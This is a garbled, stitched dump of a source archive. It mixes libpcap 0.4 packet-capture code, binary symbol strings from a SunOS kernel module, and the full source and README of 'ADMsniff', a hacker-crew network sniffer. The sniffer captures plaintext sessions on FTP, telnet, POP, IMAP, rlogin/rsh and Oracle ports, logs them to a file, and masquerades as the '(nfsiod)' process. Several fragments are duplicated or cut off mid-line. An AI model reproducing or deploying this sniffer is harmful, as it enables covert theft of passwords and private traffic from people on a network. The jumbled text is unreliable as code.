      if (hdr.version_major < PCAP_VERSION_MAJOR) {
            sprintf(errbuf, "archaic file format");
            goto bad;
      p->tzoff = hdr.thiszone;
      p->snapshot = hdr.snaplen;
      p->linktype = hdr.linktype;
      p->sf.rfile = fp;
      p->bufsize = hdr.snaplen;
      /* Align link header as required for proper data alignment */
      /* XXX should handle all types */
      switch (p->linktype) {
      case DLT_EN10MB:
            linklen = 14;
            break;
      case DLT_FDDI:
            linklen = 13 + 8;      /* fddi_header + llc */
            break;
      case DLT_NULL:
      default:
            linklen = 0;
            break;
      p->sf.base = (u_char *)malloc(p->bufsize + BPF_ALIGNMENT);
      p->buffer = p->sf.base + BPF_ALIGNMENT - (linklen % BPF_ALIGNMENT);
      p->sf.version_major = hdr.version_major;
      p->sf.version_minor = hdr.version_minor;
#ifdef PCAP_FDDIPAD
      /* XXX padding only needed for kernel fcode */
      pcap_fddipad = 0;
#endif
      return (p);
 bad:
      free(p);
      return (NULL);
 * Read sf_readfile and return the next packet.  Return the header in hdr
 * and the contents in buf.  Return 0 on success, SFERR_EOF if there were
 * no more packets, and SFERR_TRUNC if a partial packet was encountered.
static int
sf_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char *buf, int buflen)
      FILE *fp = p->sf.rfile;
      /* read the stamp */
      if (fread((char *)hdr, sizeof(struct pcap_pkthdr), 1, fp) != 1) {
            /* probably an EOF, though could be a truncated packet */
            return (1);
      if (p->sf.swapped) {
            /* these were written in opposite byte order */
            hdr->caplen = SWAPLONG(hdr->caplen);
            hdr->len = SWAPLONG(hdr->len);
            hdr->ts.tv_sec = SWAPLONG(hdr->ts.tv_sec);
            hdr->ts.tv_usec = SWAPLONG(hdr->ts.tv_usec);
       * We interchanged the caplen and len fields at version 2.3,
       * in order to match the bpf header layout.  But unfortunately
       * some files were written with version 2.3 in their headers
       * but without the interchanged fields.
       */
      if (p->sf.version_minor < 3 ||
          (p->sf.version_minor == 3 && hdr->caplen > hdr->len)) {
            int t = hdr->caplen;
            hdr->caplen = hdr->len;
            hdr->len = t;
      if (hdr->caplen > buflen) {
            /*
             * This can happen due to Solaris 2.3 systems tripping
             * over the BUFMOD problem and not setting the snapshot
             * correctly in the savefile header.  If the caplen isn't
             * grossly wrong, try to salvage.
             */
            static u_char *tp = NULL;
            static int tsize = 0;
            if (hdr->caplen > 65535) {
                  sprintf(p->errbuf, "bogus savefile header");
                  return (-1);
            if (tsize < hdr->caplen) {
                  tsize = ((hdr->caplen + 1023) / 1024) * 1024;
                  if (tp != NULL)
                        free((u_char *)tp);
                  tp = (u_char *)malloc(tsize);
                  if (tp == NULL) {
                        tsize = 0;
                        sprintf(p->errbuf, "BUFMOD hack malloc");
                        return (-1);
                  }
            if (fread((char *)tp, hdr->caplen, 1, fp) != 1) {
                  sprintf(p->errbuf, "truncated dump file");
                  return (-1);
            /*
             * We can only keep up to buflen bytes.  Since caplen > buflen
             * is exactly how we got here, we know we can only keep the
             * first buflen bytes and must drop the remainder.  Adjust
             * caplen accordingly, so we don't get confused later as
             * to how many bytes we have to play with.
             */
            hdr->caplen = buflen;
            memcpy((char *)buf, (char *)tp, buflen);
      } else {
            /* read the packet itself */
            if (fread((char *)buf, hdr->caplen, 1, fp) != 1) {
                  sprintf(p->errbuf, "truncated dump file");
                  return (-1);
      return (0);
 * Print out packets stored in the file initialized by sf_read_init().
 * If cnt > 0, return after 'cnt' packets, otherwise continue until eof.
pcap_offline_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      struct bpf_insn *fcode = p->fcode.bf_insns;
      int status = 0;
      int n = 0;
      while (status == 0) {
            struct pcap_pkthdr h;
            status = sf_next_packet(p, &h, p->buffer, p->bufsize);
            if (status) {
                  if (status == 1)
                        return (0);
                  return (status);
            if (fcode == NULL ||
                bpf_filter(fcode, p->buffer, h.len, h.caplen)) {
                  (*callback)(user, &h, p->buffer);
                  if (++n >= cnt && cnt > 0)
                        break;
      /*XXX this breaks semantics tcpslice expects */
      return (n);
 * Output a packet to the initialized dump file.
void
pcap_dump(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
      register FILE *f;
      f = (FILE *)user;
      /* XXX we should check the return status */
      (void)fwrite((char *)h, sizeof(*h), 1, f);
      (void)fwrite((char *)sp, h->caplen, 1, f);
 * Initialize so that sf_write() will output to the file named 'fname'.
pcap_dumper_t *
pcap_dump_open(pcap_t *p, const char *fname)
      FILE *f;
      if (fname[0] == '-' && fname[1] == '\0')
            f = stdout;
      else {
            f = fopen(fname, "w");
            if (f == NULL) {
                  sprintf(p->errbuf, "%s: %s",
                      fname, pcap_strerror(errno));
                  return (NULL);
      (void)sf_write_header(f, p->linktype, p->tzoff, p->snapshot);
      return ((pcap_dumper_t *)f);
void
pcap_dump_close(pcap_dumper_t *p)
#ifdef notyet
      if (ferror((FILE *)p))
            return-an-error;
      /* XXX should check return from fclose() too */
#endif
      (void)fclose((FILE *)p);
acket.  Return the header in hdr
 * and the contents in buf.  Return 0 on success, SFERR_EOF if there were
 * no more packets, and SFERR_TRUNC if a partial packet was encountered.
static int
sf_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char *buf, int buflen)
      FILE *fp = p->sf.rfile;
      /* read the stamp */
      if (fread((char *)hdr, sizeof(struct pcap_pkthdr), 1, fp) != 1) {
            /* probably an EOF, though colibpcap-0.4/scanner.l
   444
  1774
    34
      10524  6364743475   7720
 * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: scanner.l,v 1.56 97/07/21 13:31:50 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <ctype.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#include "tokdefs.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static int stoi(char *);
static inline int xdtoi(int);
#ifdef FLEX_SCANNER
#define YY_NO_UNPUT
#undef YY_INPUT
#define YY_INPUT(buf, result, max)\
      char *src = in_buffer;\
      int i;\
      if (*src == 0)\
            result = YY_NULL;\
      else {\
            for (i = 0; *src && i < max; ++i)\
                  buf[i] = *src++;\
            in_buffer += i;\
            result = i;\
#else
#undef getc
#define getc(fp)  (*in_buffer == 0 ? EOF : *in_buffer++)
#endif
#define yylval pcap_lval
extern YYSTYPE yylval;
static char *in_buffer;
N           ([0-9]+|(0X|0x)[0-9A-Fa-f]+)
B           ([0-9A-Fa-f][0-9A-Fa-f]?)
%a 3000
dst         return DST;
src         return SRC;
link|ether|ppp|slip  return LINK;
fddi        return LINK;
arp         return ARP;
rarp        return RARP;
ip          return IP;
tcp         return TCP;
udp         return UDP;
icmp        return ICMP;
igmp        return IGMP;
igrp        return IGRP;
atalk       return ATALK;
decnet            return DECNET;
lat         return LAT;
sca         return SCA;
moprc       return MOPRC;
mopdl       return MOPDL;
host        return HOST;
net         return NET;
mask        return MASK;
port        return PORT;
proto       return PROTO;
gateway           return GATEWAY;
less        return LESS;
greater           return GREATER;
byte        return BYTE;
broadcast      return TK_BROADCAST;
multicast      return TK_MULTICAST;
and|"&&"      return AND;
or|"||"           return OR;
not         return '!';
len|length      return LEN;
inbound           return INBOUND;
outbound      return OUTBOUND;
[ \n\t]                 ;
[+\-*/:\[\]!<>()&|=]  return yytext[0];
">="              return GEQ;
"<="              return LEQ;
"!="              return NEQ;
"=="              return '=';
"<<"              return LSH;
">>"              return RSH;
{N}               { yylval.i = stoi((char *)yytext); return NUM; }
({N}\.{N})|({N}\.{N}\.{N})|({N}\.{N}\.{N}\.{N})      {
                  yylval.s = sdup((char *)yytext); return HID; }
{B}:{B}:{B}:{B}:{B}:{B} { yylval.e = pcap_ether_aton((char *)yytext);
                    return EID; }
{B}:+({B}:+)+           { bpf_error("bogus ethernet address %s", yytext); }
[A-Za-z0-9][-_.A-Za-z0-9]*[.A-Za-z0-9] {
                   yylval.s = sdup((char *)yytext); return ID; }
"\\"[^ !()\n\t]+      { yylval.s = sdup((char *)yytext + 1); return ID; }
[^ \[\]\t\n\-_.A-Za-z0-9!<>()&|=]+i {
                  bpf_error("illegal token: %s\n", yytext); }
.                 { bpf_error("illegal char '%c'", *yytext); }
void
lex_init(buf)
      char *buf;
      in_buffer = buf;
 * Also define a yywrap.  Note that if we're using flex, it will
 * define a macro to map this identifier to pcap_wrap.
yywrap()
      return 1;
/* Hex digit to integer. */
static inline int
xdtoi(c)
      register int c;
      if (isdigit(c))
            return c - '0';
      else if (islower(c))
            return c - 'a' + 10;
      else
            return c - 'A' + 10;
 * Convert string to integer.  Just like atoi(), but checks for
 * preceding 0x or 0 and uses hex or octal instead of decimal.
static int
stoi(s)
      char *s;
      int base = 10;
      int n = 0;
      if (*s == '0') {
            if (s[1] == 'x' || s[1] == 'X') {
                  s += 2;
                  base = 16;
            else {
                  base = 8;
                  s += 1;
      while (*s)
            n = n * base + xdtoi(*s++);
      return n;
#include <sys/time.h>
#include <ctype.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#include "tokdefs.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static int stoi(char *);
static inline int xdtoi(int);
#ifdef FLEX_SCANNER
#define YY_NO_UNPUT
#undef YY_INPUT
#define YY_INPUT(buf, result, max)\
      char *src = in_buffer;\
      int i;\
      if (*src == 0)\
            result = YY_NULL;\
      else {\
            for (i = 0; *src && i < max; ++i)\
                  buf[i] = *src++;\
            in_buffer += i;\
            result = i;\
#else
#undef getc
#define getc(fp)  (*in_buffer == 0 ? EOF : *in_buffer++)
#endif
#define yylval pcap_lval
extern YYSTYPE yylval;
static char *in_buffer;
N           ([0-9]+|(0X|0x)[0-9A-Fa-f]+)
B           ([0-9A-Fa-f][0-9A-Fa-f]?)
%a 3000
dst         return DST;
src         return SRC;
link|ether|ppp|slip  return LINK;
fddi        return LINK;
arp         return ARP;
rarp        return RARP;
ip          return IP;
tcp         return TCP;
udp         return UDP;
icmp        return ICMP;
igmp        return IGMP;
igrp        return IGRP;
atalk       return ATALK;
decnet            return DECNET;
lat         return LAT;
sca         return SCA;
moprc       return MOPRC;
mopdl       return MOPDL;
host        return HOST;
net         return NET;
mask        return MASK;
port        return PORT;
proto       return PROTO;
gateway           return GATEWAY;
less        return LESS;
greater           return GREATER;
byte        return BYTE;
broadcast      return TK_BROADCAST;
multicast      return TK_MULTICAST;
and|"&&"      return AND;
or|"||"           return OR;
not         return '!';
len|length      return LEN;
inbound           return INBOUND;
outbound      return OUTBOUND;
[ \n\t]                 ;
[+\-*/:\[\]!<>()&|=]  return yytext[0];
">="              return GEQ;
"<="              return LEQ;
"!="              return NEQ;
"=="              return '=';
"<<"              return LSH;
">>"              return RSH;
{N}               { yylvalADMsniff/thesniff.c
100644
     0
     0
      20360  6716123227  12565
ustar 
root
root
/***************************************************************************
                      ___      ______      _       _
                    /     \   |   _   \   |  \   /  |
                   |  / \  |  |  |  \  |  |   \_/   |
                   | |___| |  |  |_ /  |  |   \_/   |
..oO  THE          |  ---  |  |       /   |  |   |  |         CreW Oo..
                   '''   '''   '''''''    ''''   ''''       
                               presents
*****************************************************************************/
/*****************************************************************/
/*  ADM sniffer  (c) ADM                                         */
/* USE THIS VERSION !!!!! */
#define VERSION "priv 1.0"
#define ETHHDEFAULT 14
#define N0L0G 0x3
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef COMPRESS
#include <zlib.h>
#include <signal.h>
#endif
#include "pcap.h"
#include "ip.h"
#include "tcp.h"
#define IPHDRSIZE  sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define ERROR -1
#define IPPROTO_TCP 6
#define PROGNAME "(nfsiod)"
char LOGPATH[] = "./";
u_short BOOG = 0;
u_short ETHHDRSIZE;
u_char *buf;
u_short coolport[] =
{21, 23, 109, 110, 143, 512, 513, 514, 1521, 31337};
u_short len = 0;
u_short LOG = 0;
short sport = 0;
short dport = 0;
#ifndef COMPRESS
FILE *filez;
#else
gzFile filez;
#endif
static char logname[255];
static char tmp[255];
static char sip[255];
static char dip[255];
char *whynot;
char *data;
struct tcphdr *tcp;
struct iphdr *ip;
struct pcap_pkthdr h;
struct pcap *pcap_d;
struct the_ip
    u_long sip;
    u_long dip;
    u_short sport;
    u_short dport;
    u_long time;
    char data[4012];
    int size;
    char flags;
  };
struct the_ip *theipz[4012];
int howmanyip = 0;
#ifdef COMPRESS
void hup_handler(int sig)
      gzflush(filez,Z_FULL_FLUSH);
      fprintf(stderr,"COUCOU");
      /* for linux */
      signal(SIGHUP,hup_handler);
void term_handler(int sig)
      fprintf(stderr,"\nTerminating.\n");
      gzclose(filez);
      exit(1);
#endif
char *
myinet_ntoa (u_long theipofthedeath)
  struct in_addr in;
  in.s_addr = theipofthedeath;
  return (inet_ntoa (in));
void
goodstr (char *src, char *dst, int size)
  int i;
  for (i = 0; i < size; i++)
    if (isprint (src[i]))
      dst[i] = src[i];
    else if (dst[i] == '\r' || dst[i] == '\n')
      dst[i] = '\n';
    else
      dst[i] = '.';
flushstruct (int i, char add)
  if (add != 1)
    if (theipz[i]->flags != N0L0G)
      if ((theipz[i]->time + 7000) > time (NULL))
      if (strlen (theipz[i]->data) > 4011)
        {
#ifndef COMPRESS
                    fprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip), ntohs (theipz[i]->sport));
              fprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip), ntohs(theipz[i]->dport));
                  fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
              fflush(filez);
#else
              gzprintf(filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip), ntohs (theipz[i]->sport));
                gzprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip), ntohs (theipz[i]->dport));
          gzwrite (filez,theipz[i]->data, strlen (theipz[i]->data));
#endif
          theipz[i]->flags = N0L0G;
          return (0);
        }
  if ((theipz[i]->time + 7000) < time (NULL) || add == 1)
    {
      if (theipz[i]->flags != N0L0G)
#ifndef COMPRESS
        fprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip), ntohs (theipz[i]->sport));
        fprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip), ntohs (theipz[i]->dport));
        fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
        fprintf (filez, ".\n");
        fflush(filez);
#else
          gzprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip), ntohs (theipz[i]->sport));
        gzprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip), ntohs (theipz[i]->dport));
          gzwrite (filez,theipz[i]->data, strlen (theipz[i]->data));
          gzprintf (filez, ".\n");
#endif
        theipz[i]->flags = N0L0G;
      free (theipz[i]);
      theipz[i] = NULL;
      return (0);
    }
  return (0);
void
dumpstruct ()
  int i;
  for (i = 0; i < 4012; i++)
    if (theipz[i] != NULL)
      {
      printf ("DUMP STRUCT = NUMBER %i\n", i);
      printf ("*sip -> %s*\n", myinet_ntoa (theipz[i]->sip));
      printf ("*sport -> %i*\n", htons (theipz[i]->sport));
      printf ("*dip -> %s*\n", myinet_ntoa (theipz[i]->dip));
      printf ("*dport -> %i*\n", htons (theipz[i]->dport));
      printf ("*data -> %s\n", theipz[i]->data);
      printf ("*---------*\n");
      }
  printf ("\\*       The END            */\n");
newstruct (u_long sip, u_long dip, u_short sport, u_short dport)
  int i = -1;
 /*  Debug only   dumpstruct (); */
  for (i = 0; i < 4012; i++)
    if (theipz[i] != NULL)
      {
      if (sip == theipz[i]->sip)
        if (dip == theipz[i]->dip)
          if (sport == theipz[i]->sport)
            if (dport == theipz[i]->dport)
            return (i);
      }
  for (i = 0; i < 4012; i++)
    if (theipz[i] == NULL)
      {
      theipz[i] = calloc (1, sizeof (struct the_ip));
      theipz[i]->sip = sip;
      theipz[i]->dip = dip;
      theipz[i]->sport = sport;
      theipz[i]->dport = dport;
      theipz[i]->time = time (NULL);
      theipz[i]->size = 0;
      memset (theipz[i]->data, 0, 4012);
      return (i);
      }
  return (-1);
Log ()
  int i;
  char buffer[8012];
  LOG = 0;
  ip = (struct iphdr *) (buf + ETHHDRSIZE);
  tcp = (struct tcphdr *) (buf + IPHDRSIZE + ETHHDRSIZE);
  for (i = 0; i < sizeof (logname); i++)
    logname[i] = 0;
  for (i = 0; i < sizeof (tmp); i++)
    tmp[i] = 0;
  for (i = 0; i < sizeof (sip); i++)
    sip[i] = 0;
  for (i = 0; i < sizeof (dip); i++)
    dip[i] = 0;
  switch (ip->protocol)
    {
    case IPPROTO_TCP:
      if ((h.len - (ETHHDRSIZE + IPHDRSIZE)) < TCPHDRSIZE)
      break;
      for (i = 0; coolport[i] != 31337; i++)
        if (coolport[i] == ntohs (tcp->th_sport) ||
            coolport[i] == ntohs (tcp->th_dport))
          LOG = 1;
      if (LOG != 1)
      return (1);
      sport = ntohs (tcp->th_sport);
      dport = ntohs (tcp->th_dport);
      if ((i = newstruct (ip->saddr, ip->daddr, tcp->th_sport, tcp->th_dport)) == -1)
      return (0);
      data = (char *) (buf + IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      len = (h.len) - (IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      memset (buffer, 0, sizeof (buffer));
      goodstr (data, buffer, len);
      strncat (theipz[i]->data, buffer, (4010 - strlen (theipz[i]->data)));
      if ((tcp->th_flags & TH_RST) || (tcp->th_flags & TH_FIN))
      flushstruct (i, 1);
      else
      flushstruct (i, 0);
#ifndef COMPRESS
      fflush (filez);
#endif
      break;
    }
  return (1);
main (argc, argv)
     int argc;
     char **argv;
  char ebuf[255];
  int i;
  if (argc < 2)
    {
      printf ("ADMsniff %s <device> [HEADERSIZE] [DEBUG] \n", VERSION);
      printf ("ex   : admsniff le0\n");
      printf (" ..ooOO The ADM Crew OOoo.. \n");
      exit (ERROR);
    }
  for (i = 0; i < 4012; i++)
    theipz[i] = NULL;
  pcap_d = pcap_open_live (argv[1], 8024, 1, 1000, ebuf);
  if (pcap_d == NULL)
    {
      printf ("cant open pcap device :<\n");
      return (-1);
    }
  switch (pcap_datalink (pcap_d))
    {
    case DLT_NULL:
      ETHHDRSIZE = 4;
      break;
    case DLT_EN10MB:
    case DLT_EN3MB:
      ETHHDRSIZE = 14;
      break;
    case DLT_PPP:
      ETHHDRSIZE = 4;
      break;
    case DLT_SLIP:
      ETHHDRSIZE = 16;
      break;
    case DLT_FDDI:
      ETHHDRSIZE = 21;
      break;
    case DLT_RAW:
      ETHHDRSIZE = 0;
      break;
    default:
      fprintf (stderr, "init_pcap : Unknown device type!\n");
      return (-1);
    }
  printf ("ADMsniff %s  in libpcap we trust !\n", VERSION);
  printf ("credits: ADM, mel , ^pretty^ for the mail she sent me\n");
#ifdef COMPRESS
  printf ("You compiled ADMsniff with compression support, don't\n");
  printf ("forget about the log flushing tricks (see README).\n\n");
#endif
#ifndef COMPRESS
  filez = fopen ("The_l0gz", "w");
#else
  signal(SIGHUP,hup_handler);
  signal(SIGTERM,term_handler);
  filez = gzopen("The_l0gz","wb");
#endif
  while (1)
    {
      buf = (u_char *) pcap_next (pcap_d, &h);
      fflush (stdout);
      if ((h.len - ETHHDRSIZE) >= IPHDRSIZE && buf != NULL)
      Log ();
    }
  return (0);
ADMsniff/README
100644
     0
     0
       2060  6724217756  11462
ustar 
root
root
                      ___      ______      _       _
                    /     \   |   _   \   |  \   /  |
                   |  / \  |  |  |  \  |  |   \_/   |
                   | |___| |  |  |_ /  |  |   \_/   |
..oO  THE          |  ---  |  |       /   |  |   |  |         CreW Oo..
                   '''   '''   '''''''    ''''   ''''
                               presents
                                ADMsniff v0.1b
                  by:       antilove
                        zlib support by plaguez    
      ADMsniff is a libpcap-based sniffer, designed to be
      portable and powerful.
Installation:
      - edit the makefile,
      - run make
      (btw I'm too lazy to include zlibc in this distro so you'll
      have to build zlibc yourself.)
Notes about logs compression:
      - To enable log file compress, edit the Makefile and uncomment
      the appropriate line. You must have zlib installed.
      - For compression purposes, the log file is not flushed when
      compression is enabled. To flush it at any time, send a HUP
      signal to ADMsniff. To quit the sniffer and cleanly close the
      logfile, send the TERM signal.
@(#) $Header: nit_if.c,v 1.4 90/03/20 18:18:19 leres Exp $ sun4c (LBL)
@(#)nit_if.c 1.24++ 88/02/09 Copyr 1987 Sun Micro
snit
snit_close nonexistent instance
+_phz
_hostnamelen
_snit_close
_snit_cpmsg
_snit_ioctl
_snit_minfo
_snit_winit
_snit_rinit
_boottime
_mclfree
_m_freem
_mclgetx
_nisoftc
_pidhash
_freeproc
_hostname
_bcopy
_proc
_whichqs
_freeb
_m_cpytoc
_ifnet
_time
_tick
_rawintrq
_allocb
_linkb
_lbolt
_snit_put
_domainnamelen
_mfree
_ifpromisc
_canput
_nproc
_dupmsg
_cp_mblks_to_mbufs
_panic
_flushq
_rcsid
_free_mbuffed_mblk
_domainname
_zombproc
_ifunit
_procNPROC
_allproc
_avenrun
_snit_open
_snit_info
_snit_intr
_m_want
_mbstat
_freemsg
_qreply
_etherbroadcastaddr
_sccsid
.mul
@(#)nit_if.c 1.24 88/02/09 Copyr 1987 Sun Micro
snit
snit_close nonexistent instance
$_phz
_hostnamelen
_snit_close
_snit_cpmsg
_snit_ioctl
_snit_minfo
_snit_winit
_snit_rinit
_boottime
_mclfree
_m_freem
_mclgetx
_nisoftc
_pidhash
_freeproc
_hostname
_bcopy
_proc
_whichqs
_freeb
_m_cpytoc
_ifnet
_time
_tick
_rawintrq
_allocb
_linkb
_lbolt
_snit_put
_domainnamelen
_mfree
_ifpromisc
_canput
_nproc
_dupmsg
_cp_mblks_to_mbufs
_panic
_flushq
_free_mbuffed_mblk
_domainname
_zombproc
_ifunit
_procNPROC
_allproc
_avenrun
_snit_open
_snit_info
_snit_intr
_m_want
_mbstat
_freemsg
_qreply
_etherbroadcastaddr
_sccsid
.mul
(M*TJ
(M*TJ
PO&@J
PO&@J
g: k
HS n
 P PN
N^NuNV
PO(m
PO-|
XO n
N^NuNV
PO n
gr n
fd n
JPf\/.
XO-@
`H n
N^NuNV
~9)G
HS k
~ )G
PO&@J
g@Jl
`  -
g2 n
PO-@
PO`p n
N^NuNV
`4 +
f( n
$S`4 *
f( n
XO(@J
`&/*
PO-@
g$ n
g$ n
HU/.
PO*n
HU k
 P PN
PO&J*LJ
N^NuNV
PO(@J
`R l
N^NuNV
N^NuNV
XOHSN
(M&k
N^Nu
@(#)nit_if.c 1.24 88/02/09 Copyr 1987 Sun Micro
snit_close nonexistent instance
snit
_cp_mblks_to_mbufs
_sccsid
_lbolt
_snit_winit
_nproc
_whichqs
_avenrun
_domainnamelen
_hostnamelen
_snit_cpmsg
_rawintrq
_hostname
_canput
_nisoftc
_boottime
_mclgetx
_snit_close
_etherbroadcastaddr
_snit_info
_snit_minfo
_m_want
_ifunit
_tick
_procNPROC
_phz
_free_mbuffed_mblk
_snit_open
_pidhash
_bcopy
_qreply
_domainname
_mfree
_dupmsg
_freemsg
_allocb
_m_freem
_snit_ioctl
_snit_rinit
_mclfree
_freeproc
_proc
_flushq
_time
_panic
_snit_put
_ifnet
_allproc
_zombproc
_mbstat
_snit_intr
_linkb
_m_cpytoc
_freeb
_ifpromisc
dnl @(#) $Header: aclocal.m4,v 1.63 98/06/12 03:44:50 leres Exp $ (LBL)
dnl Copyright (c) 1995, 1996, 1997, 1998
dnl   The Regents of the University of California.  All rights reserved.
dnl Redistribution and use in source and binary forms, with or without
dnl modification, are permitted provided that: (1) source code distributions
dnl retain the above copyright notice and this paragraph in its entirety, (2)
dnl distributions including binary code include the above copyright notice and
dnl this paragraph in its entirety in the documentation or other materials
dnl provided with the distribution, and (3) all advertising materials mentioning
dnl features or use of this software display the following acknowledgement:
dnl ``This product includes software developed by the University of California,
dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
dnl the University nor the names of its contributors may be used to endorse
dnl or promote products derived from this software without specific prior
dnl written permission.
dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
dnl LBL autoconf macros
dnl Determine which compiler we're using (cc or gcc)
dnl If using gcc, determine the version number
dnl If using cc, require that it support ansi prototypes
dnl If using gcc, use -O2 (otherwise use -O)
dnl If using cc, explicitly specify /usr/local/include
dnl usage:
dnl      AC_LBL_C_INIT(copt, incls)
dnl results:
dnl   $1 (copt set)
dnl   $2 (incls set)
dnl   CC
dnl      LDFLAGS
dnl      ac_cv_lbl_gcc_vers
dnl      LBL_CFLAGS
AC_DEFUN(AC_LBL_C_INIT,
    [AC_PREREQ(2.12)
    AC_BEFORE([$0], [AC_PROG_CC])
    AC_BEFORE([$0], [AC_LBL_FIXINCLUDES])
    AC_BEFORE([$0], [AC_LBL_DEVEL])
    AC_ARG_WITH(gcc, [  --without-gcc           don't use gcc])
    $1="-O"
    $2=""
    if test "${srcdir}" != "." ; then
          $2="-I\$\(srcdir\)"
    fi
    if test "${CFLAGS+set}" = set; then
          LBL_CFLAGS="$CFLAGS"
    fi
    if test -z "$CC" ; then
          case "$target_os" in
          bsdi*)
                AC_CHECK_PROG(SHLICC2, shlicc2, yes, no)
                if test $SHLICC2 = yes ; then
                      CC=shlicc2
                      export CC
                fi
                ;;
          esac
    fi
    if test -z "$CC" -a "$with_gcc" = no ; then
          CC=cc
          export CC
    fi
    AC_PROG_CC
    if test "$GCC" = yes ; then
          if test "$SHLICC2" = yes ; then
                ac_cv_lbl_gcc_vers=2
                $1="-O2"
          else
                AC_MSG_CHECKING(gcc version)
                AC_CACHE_VAL(ac_cv_lbl_gcc_vers,
                  ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \
                      sed -e '/^gcc version /!d' \
                        -e 's/^gcc version //' \
                        -e 's/ .*//' -e 's/^[[[^0-9]]]*//' \
                        -e 's/\..*//'`)
                AC_MSG_RESULT($ac_cv_lbl_gcc_vers)
                if test $ac_cv_lbl_gcc_vers -gt 1 ; then
                      $1="-O2"
                fi
          fi
    else
          AC_MSG_CHECKING(that $CC handles ansi prototypes)
          AC_CACHE_VAL(ac_cv_lbl_cc_ansi_prototypes,
            AC_TRY_COMPILE(
                [#include <sys/types.h>],
                [int frob(int, char *)],
                ac_cv_lbl_cc_ansi_prototypes=yes,
                ac_cv_lbl_cc_ansi_prototypes=no))
          AC_MSG_RESULT($ac_cv_lbl_cc_ansi_prototypes)
          if test $ac_cv_lbl_cc_ansi_prototypes = no ; then
                case "$target_os" in
                hpux*)
                      AC_MSG_CHECKING(for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE))
                      savedcflags="$CFLAGS"
                      CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS"
                      AC_CACHE_VAL(ac_cv_lbl_cc_hpux_cc_aa,
                        AC_TRY_COMPILE(
                            [#include <sys/types.h>],
                            [int frob(int, char *)],
                            ac_cv_lbl_cc_hpux_cc_aa=yes,
                            ac_cv_lbl_cc_hpux_cc_aa=no))
                      AC_MSG_RESULT($ac_cv_lbl_cc_hpux_cc_aa)
                      if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then
                            AC_MSG_ERROR(see the INSTALL doc for more info)
                      fi
                      CFLAGS="$savedcflags"
                      V_CCOPT="-Aa $V_CCOPT"
                      AC_DEFINE(_HPUX_SOURCE)
                      ;;
                *)
                      AC_MSG_ERROR(see the INSTALL doc for more info)
                      ;;
                esac
          fi
          $2="$$2 -I/usr/local/include"
          LDFLAGS="$LDFLAGS -L/usr/local/lib"
          case "$target_os" in
          irix*)
                V_CCOPT="$V_CCOPT -xansi -signed -g3"
                ;;
          osf*)
                V_CCOPT="$V_CCOPT -std1 -g3"
                ;;
          ultrix*)
                AC_MSG_CHECKING(that Ultrix $CC hacks const in prototypes)
                AC_CACHE_VAL(ac_cv_lbl_cc_const_proto,
                  AC_TRY_COMPILE(
                      [#include <sys/types.h>],
                      [struct a { int b; };
                      void c(const struct a *)],
                      ac_cv_lbl_cc_const_proto=yes,
                      ac_cv_lbl_cc_const_proto=no))
                AC_MSG_RESULT($ac_cv_lbl_cc_const_proto)
                if test $ac_cv_lbl_cc_const_proto = no ; then
                      AC_DEFINE(const,)
                fi
                ;;
          esac
    fi
dnl Use pfopen.c if available and pfopen() not in standard libraries
dnl Require libpcap
dnl Look for libpcap in ..
dnl Use the installed libpcap if there is no local version
dnl usage:
dnl      AC_LBL_LIBPCAP(pcapdep, incls)
dnl results:
